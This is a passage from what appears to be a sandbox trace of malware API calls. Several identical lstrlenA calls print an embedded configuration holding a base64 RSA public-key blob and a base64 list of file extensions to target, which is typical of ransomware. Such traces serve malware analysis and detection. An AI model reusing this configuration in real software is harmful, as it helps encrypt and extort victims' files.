ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI